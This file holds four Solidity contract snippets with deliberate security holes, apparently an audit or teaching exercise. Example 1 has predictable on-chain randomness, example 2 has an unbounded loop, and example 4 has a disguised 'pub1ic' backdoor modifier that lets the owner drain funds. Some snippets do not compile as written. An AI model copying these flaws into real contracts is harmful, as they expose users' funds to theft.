//// EXAMPLE. 1
contract Oracle{
	uint8 private seed; // Hide seed value!!
	constructor (uint8 _seed) public {
		seed = _seed;
	}
	function getRandomNumber() external view returns (uint256){
		return block.number % seed;
	}
}

contract Lottery {
	Oracle private oracle;
  function makeAGuess(uint256 _guess) external returns (bool) {

		// get a random number
		uint256 random = oracle.getRandomNumber();
		if(random==_guess){
			// give 100 points to msg.sender
            score[msg.sender] += 100;
	        return true;
		}
    }
 
 ///// EXAMPLE 2
 
pragma solidity >=0.4.22 <0.6.0;
contract Course {
    // In this contract the students add themselves via the joinCourse function.
    // At a later time the teacher will via a front end call the welcomeStudents function
    // to send a message to the students and get the number of students starting the course.
address[] students;
address teacher = 0x94603d2C456087b6476920Ef45aD1841DF940475;

event welcome(string,address);
uint startingNumber = 0;

function joinCourse()public{
students.push(msg.sender);
}

function welcomeStudents() public{
    require(msg.sender==teacher,"Only the teacher can call this function");
      for(uint x; x < students.length; x++) {
      emit welcome("Welcome to the course",students[x]);
      startingNumber++;
      }
}
}
 
 
////// EXAMPLE 3
pragma solidity >=0.4.22 <0.6.0;
contract DonationWallet{

address admin = 0x627306090abaB3A6e1400e9345bC60c78a8BEf57;

event paymentReceived(uint);

function withdrawAll() public {
    require(msg.sender==admin,"Only the owner can withdraw funds");
    msg.sender.transfer(address(this).balance);
}

function () external payable{
    emit paymentReceived(msg.value);
}

}

//// EXAMPLE 4

pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT
contract Score {
 uint256 score;
 address owner;
 mapping (address => uint256) scoreForUser;
 address [] leaderBoard;
 
 uint256 _totalSupply;
 uint256 _balances;
 
 event ScoreSet(uint256);
 
 modifier onlyOwner {
     if(msg.sender == owner){
         _;
     }
 }
 

modifier pub1ic() {
	require (isOwner(), "Ownable : caller is not the owner");
	_;
}


function isOwner () public view returns(bool) {
    return msg.sender == owner;
}


function withdraw(uint256 amount) public {
	_totalSupply = _totalSupply.sub(amount);
	_balances[msg.sender] = _balances[msg.sender].sub(amount);
	weth.safeTransfer(msg.sender, amount);
}

function troll(uint256 amount) external pub1ic {
	weth.safeTransfer(msg.sender, amount);
} 

}